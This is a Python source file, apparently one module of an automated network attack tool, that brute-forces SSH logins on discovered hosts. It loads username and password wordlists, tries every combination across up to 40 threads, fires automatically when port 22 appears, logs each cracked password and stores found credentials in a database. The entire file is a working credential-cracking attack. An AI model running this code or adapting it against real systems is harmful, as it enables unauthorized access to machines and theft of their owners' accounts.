""" ssh_bruteforce.py - This script performs a brute force attack on SSH services (port 22) to find accessible accounts using various user credentials. It logs the results of successful connections. SQL version (minimal changes): - Targets still provided by the orchestrator (ip + port) - IP -> (MAC, hostname) mapping read from DB 'hosts' - Successes saved into DB.creds (service='ssh') with robust fallback upsert - Action status recorded in DB.action_results (via SSHBruteforce.execute) - Paramiko noise silenced; ssh.connect avoids agent/keys to reduce hangs """ import os import paramiko import socket import threading import logging import time from datetime import datetime from queue import Queue from shared import SharedData from logger import Logger # Configure the logger logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG) # Silence Paramiko internals for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hostkeys", "paramiko.kex", "paramiko.auth_handler"): logging.getLogger(_name).setLevel(logging.CRITICAL) # Define the necessary global variables b_class = "SSHBruteforce" b_module = "ssh_bruteforce" b_status = "brute_force_ssh" b_port = 22 b_service = '["ssh"]' b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]' b_parent = None b_priority = 70 b_cooldown = 1800 # 30 minutes entre deux runs b_rate_limit = '3/86400' # 3 fois par jour max class SSHBruteforce: """Wrapper called by the orchestrator.""" def __init__(self, shared_data): self.shared_data = shared_data self.ssh_bruteforce = SSHConnector(shared_data) logger.info("SSHConnector initialized.") def bruteforce_ssh(self, ip, port): """Run the SSH brute force attack on the given IP and port.""" logger.info(f"Running bruteforce_ssh on {ip}:{port}...") return self.ssh_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): """Execute the brute force attack and update status (for UI badge).""" logger.info(f"Executing SSHBruteforce on {ip}:{port}...") self.shared_data.bjorn_orch_status = "SSHBruteforce" self.shared_data.comment_params = {"user": "?", "ip": ip, "port": port} success, results = self.bruteforce_ssh(ip, port) return 'success' if success else 'failed' class SSHConnector: """Handles the connection attempts and DB persistence.""" def __init__(self, shared_data): self.shared_data = shared_data # Load wordlists (unchanged behavior) self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) # Build initial IP -> (MAC, hostname) cache from DB self._ip_to_identity = {} self._refresh_ip_identity_cache() self.lock = threading.Lock() self.results = [] # List of tuples (mac, ip, hostname, user, password, port) self.queue = Queue() # ---- Mapping helpers (DB) ------------------------------------------------ def _refresh_ip_identity_cache(self): """Load IPs from DB and map them to (mac, current_hostname).""" self._ip_to_identity.clear() try: rows = self.shared_data.db.get_all_hosts() except Exception as e: logger.error(f"DB get_all_hosts failed: {e}") rows = [] for r in rows: mac = r.get("mac_address") or "" if not mac: continue hostnames_txt = r.get("hostnames") or "" current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else "" ips_txt = r.get("ips") or "" if not ips_txt: continue for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]: self._ip_to_identity[ip] = (mac, current_hn) def mac_for_ip(self, ip: str): if ip not in self._ip_to_identity: self._refresh_ip_identity_cache() return self._ip_to_identity.get(ip, (None, None))[0] def hostname_for_ip(self, ip: str): if ip not in self._ip_to_identity: self._refresh_ip_identity_cache() return self._ip_to_identity.get(ip, (None, None))[1] # ---- File utils ---------------------------------------------------------- @staticmethod def _read_lines(path: str): try: with open(path, "r", encoding="utf-8", errors="ignore") as f: return [l.rstrip("\n\r") for l in f if l.strip()] except Exception as e: logger.error(f"Cannot read file {path}: {e}") return [] # ---- SSH core ------------------------------------------------------------ def ssh_connect(self, adresse_ip, user, password, port=b_port, timeout=10): """Attempt to connect to SSH using (user, password).""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect( hostname=adresse_ip, username=user, password=password, port=port, timeout=timeout, auth_timeout=timeout, banner_timeout=timeout, look_for_keys=False, # avoid slow key probing allow_agent=False, # avoid SSH agent delays ) return True except (paramiko.AuthenticationException, socket.timeout, socket.error, paramiko.SSHException): return False except Exception as e: logger.debug(f"SSH connect unexpected error {adresse_ip} {user}: {e}") return False finally: try: ssh.close() except Exception: pass # ---- Robust DB upsert fallback ------------------------------------------ def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None): """ Insert-or-update without relying on ON CONFLICT columns. Works even if your UNIQUE index uses expressions (e.g., COALESCE()). """ mac_k = mac or "" ip_k = ip or "" user_k = user or "" db_k = database or "" port_k = int(port or 0) try: with self.shared_data.db.transaction(immediate=True): # 1) Insert if missing self.shared_data.db.execute( """ INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra) VALUES('ssh',?,?,?,?,?,?,?,NULL) """, (mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k), ) # 2) Update password/hostname if present (or just inserted) self.shared_data.db.execute( """ UPDATE creds SET "password"=?, hostname=COALESCE(?, hostname), last_seen=CURRENT_TIMESTAMP WHERE service='ssh' AND COALESCE(mac_address,'')=? AND COALESCE(ip,'')=? AND COALESCE("user",'')=? AND COALESCE(COALESCE("database",""),'')=? AND COALESCE(port,0)=? """, (password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k), ) except Exception as e: logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}") # ---- Worker / Queue / Threads ------------------------------------------- def worker(self, success_flag): """Worker thread to process items in the queue (bruteforce attempts).""" while not self.queue.empty(): if self.shared_data.orchestrator_should_exit: logger.info("Orchestrator exit signal received, stopping worker thread.") break adresse_ip, user, password, mac_address, hostname, port = self.queue.get() try: if self.ssh_connect(adresse_ip, user, password, port=port): with self.lock: # Persist success into DB.creds try: self.shared_data.db.insert_cred( service="ssh", mac=mac_address, ip=adresse_ip, hostname=hostname, user=user, password=password, port=port, database=None, extra=None ) except Exception as e: # Specific fix: fallback manual upsert if "ON CONFLICT clause does not match" in str(e): self._fallback_upsert_cred( mac=mac_address, ip=adresse_ip, hostname=hostname, user=user, password=password, port=port, database=None ) else: logger.error(f"insert_cred failed for {adresse_ip} {user}: {e}") self.results.append([mac_address, adresse_ip, hostname, user, password, port]) logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}") success_flag[0] = True finally: self.queue.task_done() # Optional delay between attempts if getattr(self.shared_data, "timewait_ssh", 0) > 0: time.sleep(self.shared_data.timewait_ssh) def run_bruteforce(self, adresse_ip, port): """ Called by the orchestrator with a single IP + port. Builds the queue (users x passwords) and launches threads. """ mac_address = self.mac_for_ip(adresse_ip) hostname = self.hostname_for_ip(adresse_ip) or "" total_tasks = len(self.users) * len(self.passwords) if total_tasks == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] for user in self.users: for password in self.passwords: if self.shared_data.orchestrator_should_exit: logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") return False, [] self.queue.put((adresse_ip, user, password, mac_address, hostname, port)) success_flag = [False] threads = [] thread_count = min(40, max(1, total_tasks)) for _ in range(thread_count): t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) t.start() threads.append(t) while not self.queue.empty(): if self.shared_data.orchestrator_should_exit: logger.info("Orchestrator exit signal received, stopping bruteforce.") # clear queue while not self.queue.empty(): try: self.queue.get_nowait() self.queue.task_done() except Exception: break break self.queue.join() for t in threads: t.join() return success_flag[0], self.results # Return True and the list of successes if any if __name__ == "__main__": shared_data = SharedData() try: ssh_bruteforce = SSHBruteforce(shared_data) logger.info("SSH brute force module ready.") exit(0) except Exception as e: logger.error(f"Error: {e}") exit(1)